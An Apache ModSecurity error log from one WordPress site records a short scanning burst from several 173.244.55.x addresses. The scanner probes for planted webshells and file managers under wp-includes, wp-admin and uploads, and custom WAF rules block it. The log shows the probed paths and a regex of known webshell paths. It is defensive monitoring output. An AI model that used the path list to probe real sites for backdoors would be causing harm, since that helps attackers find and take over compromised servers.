[Sat Feb 28 08:47:41.020167 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.20:46647] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aaI7LX6mbajs3bzQGyuhwgAAAVc"]
[Sat Feb 28 08:47:41.905405 2026] [:error] [pid 39185:tid 39252] [client 173.244.55.26:47195] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaI7LRVE-FfM89u7BQajWAAAAIY"]
[Sat Feb 28 08:47:42.797629 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.20:44775] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaI7LmuX5e1Q32gqxH0lvwAAAQE"]
[Sat Feb 28 08:47:44.575920 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.26:23437] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaI7MGuX5e1Q32gqxH0l_QAAAQM"]
[Sat Feb 28 08:47:45.923429 2026] [:error] [pid 11791:tid 11796] [client 173.244.55.29:41445] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaI7MWuX5e1Q32gqxH0mOwAAAQM"]
[Sat Feb 28 08:47:47.238489 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.31:21665] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/about.php"] [unique_id "aaI7M2uX5e1Q32gqxH0mfQAAARM"]
[Sat Feb 28 08:47:48.564717 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.29:38849] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaI7NGuX5e1Q32gqxH0mpwAAAQE"]
[Sat Feb 28 08:47:50.313569 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.31:60419] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aaI7NqIAO5fN7BxyqcE0ewAAAMM"]
[Sat Feb 28 08:47:52.516491 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.26:50741] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaI7OH6mbajs3bzQGyuiDQAAAU8"]
[Sat Feb 28 08:47:54.294910 2026] [:error] [pid 39184:tid 39227] [client 173.244.55.28:63865] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.alf.php"] [unique_id "aaI7OltZF9Zd_U7easCBLAAAAEg"]
[Sat Feb 28 08:47:56.051453 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.30:41037] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaI7PGuX5e1Q32gqxH0nSAAAAQg"]
[Sat Feb 28 08:47:57.381525 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.23:58269] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aaI7PWuX5e1Q32gqxH0ncwAAAQ0"]
[Sat Feb 28 08:48:01.203743 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.31:24257] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.bod/.ll/ss.php"] [unique_id "aaI7QWuX5e1Q32gqxH0n4AAAARc"]
[Sat Feb 28 08:48:03.844703 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.29:62961] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaI7Q36mbajs3bzQGyui4gAAAVY"]
[Sat Feb 28 08:48:04.726078 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.25:25541] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaI7RGuX5e1Q32gqxH0oFAAAAQ4"]
[Sat Feb 28 08:48:08.718574 2026] [:error] [pid 11791:tid 11811] [client 173.244.55.30:63633] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaI7SGuX5e1Q32gqxH0oewAAARI"]
[Sat Feb 28 08:48:09.613132 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.25:35437] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaI7SX6mbajs3bzQGyujRQAAAVU"]
[Sat Feb 28 08:48:10.494605 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.23:45021] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aaI7ShVE-FfM89u7BQakQgAAAJQ"]
[Sat Feb 28 08:48:10.939170 2026] [:error] [pid 39185:tid 39254] [client 173.244.55.23:45021] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mar.php"] [unique_id "aaI7ShVE-FfM89u7BQakSwAAAIg"]
[Sat Feb 28 08:48:12.257634 2026] [:error] [pid 22194:tid 22205] [client 173.244.55.31:53765] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaI7TH6mbajs3bzQGyujgAAAAUk"]
[Sat Feb 28 08:48:14.048693 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.23:48185] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaI7Tn6mbajs3bzQGyujngAAAVU"]
[Sat Feb 28 08:48:14.936011 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.31:26991] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaI7Tn6mbajs3bzQGyujsAAAAUU"]
[Sat Feb 28 08:48:16.696961 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.26:60955] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aaI7UKIAO5fN7BxyqcE1vwAAAM8"]
[Sat Feb 28 08:48:18.480023 2026] [:error] [pid 39292:tid 39309] [client 173.244.55.31:44249] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaI7UqIAO5fN7BxyqcE11gAAAM8"]
[Sat Feb 28 08:48:19.364551 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.21:42803] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aaI7UxVE-FfM89u7BQaklgAAAJE"]
[Sat Feb 28 08:48:22.439661 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.29:23777] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaI7Vn6mbajs3bzQGyukYwAAAU0"]
[Sat Feb 28 08:48:24.227182 2026] [proxy_fcgi:error] [pid 39184:tid 39234] [client 173.244.55.23:23883] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:48:25.115644 2026] [:error] [pid 39184:tid 39239] [client 173.244.55.23:23883] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aaI7WVtZF9Zd_U7easCCBgAAAFQ"]
[Sat Feb 28 08:48:25.985030 2026] [:error] [pid 39185:tid 39247] [client 173.244.55.31:56439] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aaI7WRVE-FfM89u7BQakzwAAAIE"]
[Sat Feb 28 08:48:27.738424 2026] [:error] [pid 39183:tid 39210] [client 173.244.55.25:56409] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaI7WxCf4HvhVePw3LahwAAAABI"]
[Sat Feb 28 08:48:28.611038 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.30:51081] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaI7XGuX5e1Q32gqxH0qNQAAARA"]
[Sat Feb 28 08:48:32.180485 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.23:26695] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/gold.php"] [unique_id "aaI7YGuX5e1Q32gqxH0qjAAAARc"]
[Sat Feb 28 08:48:33.066480 2026] [:error] [pid 39185:tid 39257] [client 173.244.55.28:55845] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/gold.php"] [unique_id "aaI7YRVE-FfM89u7BQak8QAAAIs"]
[Sat Feb 28 08:48:33.961943 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.23:21155] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/gold.php"] [unique_id "aaI7YRVE-FfM89u7BQak-QAAAJA"]
[Sat Feb 28 08:48:34.832340 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.30:35035] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/gold.php"] [unique_id "aaI7YhVE-FfM89u7BQalBAAAAJU"]
[Sat Feb 28 08:48:35.723633 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.30:56893] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/gold.php"] [unique_id "aaI7Y2uX5e1Q32gqxH0q0wAAARY"]
[Sat Feb 28 08:48:39.724461 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.21:49003] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/"] [unique_id "aaI7Z36mbajs3bzQGyullQAAAUc"]
[Sat Feb 28 08:48:41.056376 2026] [:error] [pid 39183:tid 39192] [client 173.244.55.25:31275] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aaI7aRCf4HvhVePw3Lah9AAAAAA"]
[Sat Feb 28 08:48:45.081513 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.31:36269] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aaI7bRCf4HvhVePw3LaiGwAAABc"]
[Sat Feb 28 08:48:45.960856 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.20:64203] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/"] [unique_id "aaI7bX6mbajs3bzQGyul2wAAAVA"]
[Sat Feb 28 08:48:47.282986 2026] [:error] [pid 39183:tid 39211] [client 173.244.55.21:51843] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/ioxi/ioxi/"] [unique_id "aaI7bxCf4HvhVePw3LaiLAAAABM"]
[Sat Feb 28 08:48:49.477529 2026] [:error] [pid 22194:tid 22206] [client 173.244.55.31:63711] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aaI7cX6mbajs3bzQGyumDwAAAUo"]
[Sat Feb 28 08:48:50.800656 2026] [:error] [pid 39183:tid 39198] [client 173.244.55.29:26993] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aaI7chCf4HvhVePw3LaiPwAAAAY"]
[Sat Feb 28 08:48:51.689615 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.23:27021] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aaI7c36mbajs3bzQGyumIAAAAVA"]
[Sat Feb 28 08:48:52.572726 2026] [:error] [pid 39185:tid 39248] [client 173.244.55.31:60911] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aaI7dBVE-FfM89u7BQalqgAAAII"]
[Sat Feb 28 08:48:54.326106 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.26:39945] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/"] [unique_id "aaI7dn6mbajs3bzQGyumWgAAAVA"]
[Sat Feb 28 08:48:55.217065 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.26:50099] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/"] [unique_id "aaI7d36mbajs3bzQGyumfQAAAUM"]
[Sat Feb 28 08:48:56.098627 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.26:51407] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/"] [unique_id "aaI7eH6mbajs3bzQGyumkQAAAU4"]
[Sat Feb 28 08:48:56.995036 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.23:53067] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/"] [unique_id "aaI7eGuX5e1Q32gqxH0snQAAARc"]
[Sat Feb 28 08:48:58.330903 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.20:34429] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aaI7eqIAO5fN7BxyqcE33wAAAMA"]
[Sat Feb 28 08:48:59.217135 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.20:61461] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aaI7exVE-FfM89u7BQal3AAAAJU"]
[Sat Feb 28 08:49:00.541536 2026] [:error] [pid 39292:tid 39301] [client 173.244.55.31:26223] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/"] [unique_id "aaI7fKIAO5fN7BxyqcE4EQAAAMc"]
[Sat Feb 28 08:49:01.429285 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.30:40025] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/"] [unique_id "aaI7fRVE-FfM89u7BQal7wAAAJY"]
